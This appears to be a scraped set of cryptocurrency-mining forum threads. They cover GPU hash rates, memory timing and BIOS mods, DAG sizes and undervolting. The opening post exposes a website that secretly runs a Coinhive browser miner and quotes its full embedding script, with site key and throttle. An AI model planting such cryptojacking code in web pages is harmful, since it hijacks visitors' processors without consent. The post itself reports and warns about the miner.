The https://investoon.com/tools/dag_size website contains a Javascript miner, which means it's using website visitor's CPU to mine in favor of website creator. See website source:
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('AEwgHPotuZxRNQbnuR4YTOVzq9gRsNET');
miner.start();
miner.setThrottle(0.38);
</script>Probably by the time most people will see this post, this part of code will be removed from this website. But it is present at the moment of this message writing. Yep. Something fishy is going on there for sure. Just by opening this site my cpu usage went from 15% to 80%. I've got 22nm laptop with active cooling, so I noticed immediately  Actually I was't sure what was the cause before killing this Chrome process with 60%+ CPU usage and then seeing under this site tab "Aw snap..." Unfortunately I have feeling we'll see this more and more as time goes by once code is out everyone will use this |

Any news from minebox? Theay said it will be delivered for beta testers in september but i ve got nothing so far  Next software version is postponed for November, would not surprise me if minebox is postponed for November too |

Are 4GB DDR5 128 bit video cards still worth keeping in order to mine ETH based blockchains over the next 3 months?
You didn't define what "worth keeping" means to you...its too vague |

Maybe its new scam/virus running around?

Newbie here.
I have a system with one Gigabyte RX 480 and a Saphire Pulse RX 560 4 Gb OC.
Dual mining Ether and Siacoin. RX 560 performance is half of RX 480, but it consumes half the watts and costs less than half the price. I can't see anyone going wrong with a 560. Together they mine at Vega's 64 speed, total cost was around half a Vega...
However, I'm not really getting the numbers I see around here.
Rx480 gets around 20/21 MH/s and RX580 10/10.5.
I overclocked memory to 2000 Mhz, GPU to 1400 mhz, and I can't get more than 10.5.
What am I doing wrong.
You have to mod your BIOS...and really no reason to put core that high |

So I'm thinking of cashing in some of my BTC, to the tune of $900 and buying 4x RX 560 4GB cards to mine Monero, or even possibly Ethereum (or ethereum classic depending on whichever is a better investment...) Each card should get a base hash rate of 350h/s.
Mining calc tells me that it's $80, with current difficulty and price, a month, on the cards alone (mining Monero).
So is it a good idea to buy them and try my luck with gpu mining or keep the bitcoin and hope the price keeps going up?
If you have cards with micron memory, you can get em as high as 450h/s |

Still in alpha, bad sign, we can't see the real release in 2025, will you have another round of ICO?

Strange, unlike after alpha 1, this time market actually penalized instead rewarded good news Or maybe it jsut takes time for good news to spread? |

I believe every epoch is 30,000 blocks and it takes 14-15s to solve a block, So that is a new Epoch every 4.8 - 4.9 days. 60 epochs left till DAG 95. Therefore Musicoin should be mineable on 2GB cards for another 291 to 312 days
Musicion will hit 2GB barrier at 11/FEB/2019, expanse will do the same in april 2026 Where do you get these numbers, cause according to the actual statistics for musicoin and how often it changes DAG it will hit DAG 95 which is the last possible DAG for 2GB cards around July of 2018. |

I noticed some XFX cards working in the watttool, you may be undervolt, but by a happy coincidence I find you can use MSI after burner to undervolt well. Unfortunately there are a lot of mem. The type of controller chip, the solution I provide is "general" so it wont work with every card. thankyou
I'm curious, what are advantages of using afetrburner instead of default built-in wattman? |

Its getting hot very fast, that helps enough.
@Branko I guess I was lucky to have polarises with only those 2 lines I wrote in my previous post.
r0, r2 and r4 you can only see printed on chips when you remove cooler...denotes 6, 7 and 8GHz speed I found out when I was looking for reason hynix is slower than micron on gigabyte rx560 cards...because gigabyte put r0 instead r2 so memory is already factory overclocked |

you take an 580 4g elpida, copy the 1500 strap upper, set clocks to 1130/2000 and you have 29.5mhs out of the box.
can't be easier.
Why did you include strap editor in your SRBPolaris if it was that easier? P.S. tRCDR/A should be equal, they weren't in ElioVP's timing 22/8 , had to be 22/22. Not a big deal probably to mess with you if you try to sell the timing( as it happened once). I hoped more people will get involved in creating custom better straps, when it's all packed in a GUI but i was probably wrong, or they just don't want to share them. What i wanted to say with that 1500 copying is that its just as click click click, people should mod their own bioses, not use downloaded ones from the net, the chances to brick the card are bigger with those. Of course...people see "hynix" here, "hynix" in gpu-z and use straps, not knowing that theres like 10 different hynix chips out there Actually not that much { 0x6, 0x6, "SK Hynix H5GC4H24AJR" }, { 0x6, 0x7, "SK Hynix H5GQ8H24MJR" }, These are the ones that are commonly used in polaris GPUs. @doktor83 you are right about stock vbios modification but since you can't beat them you become them / hard to explain to ignorants that you modded your/his own bios /. theres also H5GC8 series...then you forget most important thing...R0C, R2C and R4C at the end |

Not realy.
My calculations are different, 4GB cards are gonna stop working before 2020.
And 2GB cards didn't stop working May 2017 but long before that.
OS like windows use some VRAM for themselves, but you could still mine on linux with no graphical UI started |

I'm curious, how this work at all if like 30 people overall are mining it?

Paste the timings, I am too lazy to download the bios and extract them  Branko: Seen your 560 micron mod on anorak site, did you achieve 2300 with it or with another timing? I used that bios, but modified card...put some arctic cooling thermal paste on memory instead crap that Gigabyte put on it...now working on more aggressive timings to see if I can achieve same hash results with lower speeds, as 2300MHz is a bit unsettling, plus requires higher core speed and voltages too (so higher power consumption and temperatures) I don't see anything changed besides you've used strapmod to null tFAW/t32AW and ACTRD at 16 cycles. May be if you try loosening the timing you might actually go above 16 stable, mine are sapphire's with micron and do 15.3 on linux(15.7 windows) at 1124/2150, too bad sapphire uses cheap vrm and cannot undervolt it, I hope I get my hands on those gigabytes you have soon to undervolt the shit out of it main problem for micron seems to be that lowering trrd to 5 drastically lowers max frequency. Also, can't find info anywhere about misc_seq8, do you have idea whats that used for? |

No way its 30W, unless you mean what GPU-Z says In that case, I have 470H/s on Gigabyte Micron RX560 Good for you It would be if I'd be mining monero, but I'm mining expanse instead |
